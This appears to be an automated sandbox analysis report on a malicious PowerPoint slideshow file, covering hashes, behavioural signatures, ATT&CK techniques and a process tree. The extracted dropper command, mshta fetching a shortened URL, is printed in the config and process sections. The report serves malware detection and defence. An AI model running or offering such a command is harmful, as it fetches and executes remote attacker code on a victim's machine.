a1c7157e3d321dc5966c65601335e053edb2c4a1e6cf4f1f678b974a4f2dbf26

Analysis

max time kernel
76s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
22-11-2024 07:41

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General

Target

71ba20bdd899fde2a4e2967bc6c719f2c96146cc80c3dd8953431cb82d4df199.pps
Size

81KB
MD5

059e79d36927bb230e90376aa7528015
SHA1

2448b57e97a917d01993c89b901ad2c21d413792
SHA256

71ba20bdd899fde2a4e2967bc6c719f2c96146cc80c3dd8953431cb82d4df199
SHA512

667451539ea0809ba9de6ea23d703d8641bf3d3df417fc0c48a13584b5cc6d3f1fc97468af98c3f8dbc73d4ed79e3f52aaee372a4a2f0d77019ba9328ec345fc
SSDEEP

768:EvV9mdLakIT0fSCmwypPtV2RLcicHw6no37p8hcjo:ENemwypPGkHV

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://www.bitly.com/eyuiqwhdbkmasbdma

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	456	3808	mshta.exe	84

Blocklisted process makes network request 17 IoCs

flow	pid	Process
14	456	mshta.exe
16	456	mshta.exe
21	456	mshta.exe
27	456	mshta.exe
29	456	mshta.exe
31	456	mshta.exe
33	456	mshta.exe
41	456	mshta.exe
42	456	mshta.exe
43	456	mshta.exe
44	456	mshta.exe
45	456	mshta.exe
46	456	mshta.exe
47	456	mshta.exe
48	456	mshta.exe
49	456	mshta.exe
51	456	mshta.exe

Process spawned suspicious child process 1 IoCs

This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	4372	3808	DW20.EXE	84

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dwwin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dwwin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dwwin.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dwwin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dwwin.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3808	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3808	POWERPNT.EXE
3808	POWERPNT.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3808	POWERPNT.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3808 wrote to memory of 456	3808	POWERPNT.EXE	86
PID 3808 wrote to memory of 456	3808	POWERPNT.EXE	86
PID 3808 wrote to memory of 4372	3808	POWERPNT.EXE	87
PID 3808 wrote to memory of 4372	3808	POWERPNT.EXE	87
PID 4372 wrote to memory of 4924	4372	DW20.EXE	88
PID 4372 wrote to memory of 4924	4372	DW20.EXE	88

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\71ba20bdd899fde2a4e2967bc6c719f2c96146cc80c3dd8953431cb82d4df199.pps" /ou ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3808
- C:\Windows\SYSTEM32\mshta.exe
  mshta https://www.bitly.com/eyuiqwhdbkmasbdma
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  PID:456
- C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE
  "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE" -x -s 3560
  2⤵
  - Process spawned suspicious child process
  - Suspicious use of WriteProcessMemory
  PID:4372
- - C:\Windows\system32\dwwin.exe
    C:\Windows\system32\dwwin.exe -x -s 3560
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:4924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3808-1-0x00007FFC191CD000-0x00007FFC191CE000-memory.dmp

Filesize
4KB

Download
memory/3808-0-0x00007FFBD91B0000-0x00007FFBD91C0000-memory.dmp

Filesize
64KB

Download
memory/3808-3-0x00007FFBD91B0000-0x00007FFBD91C0000-memory.dmp

Filesize
64KB

Download
memory/3808-4-0x00007FFBD91B0000-0x00007FFBD91C0000-memory.dmp

Filesize
64KB

Download
memory/3808-5-0x00007FFBD91B0000-0x00007FFBD91C0000-memory.dmp

Filesize
64KB

Download
memory/3808-6-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

Filesize
2.0MB

Download
memory/3808-7-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

Filesize
2.0MB

Download
memory/3808-2-0x00007FFBD91B0000-0x00007FFBD91C0000-memory.dmp

Filesize
64KB

Download
memory/3808-10-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

Filesize
2.0MB

Download
memory/3808-9-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

Filesize
2.0MB

Download
memory/3808-8-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

Filesize
2.0MB

Download
memory/3808-11-0x00007FFBD6F70000-0x00007FFBD6F80000-memory.dmp

Filesize
64KB

Download
memory/3808-12-0x00007FFBD6F70000-0x00007FFBD6F80000-memory.dmp

Filesize
64KB

Download
memory/3808-15-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

Filesize
2.0MB

Download
memory/3808-14-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

Filesize
2.0MB

Download
memory/3808-13-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

Filesize
2.0MB

Download
memory/3808-17-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

Filesize
2.0MB

Download
memory/3808-16-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

Filesize
2.0MB

Download
memory/3808-39-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

Filesize
2.0MB

Download
memory/3808-46-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

Filesize
2.0MB

Download
memory/3808-45-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

Filesize
2.0MB

Download
memory/3808-59-0x00007FFC19130000-0x00007FFC19325000-memory.dmp

Filesize
2.0MB

Download
memory/4372-63-0x00007FFBD91B0000-0x00007FFBD91C0000-memory.dmp

Filesize
64KB

Download
memory/4372-62-0x00007FFBD91B0000-0x00007FFBD91C0000-memory.dmp

Filesize
64KB

Download
memory/4372-61-0x00007FFBD91B0000-0x00007FFBD91C0000-memory.dmp

Filesize
64KB

Download
memory/4372-60-0x00007FFBD91B0000-0x00007FFBD91C0000-memory.dmp

Filesize
64KB

Download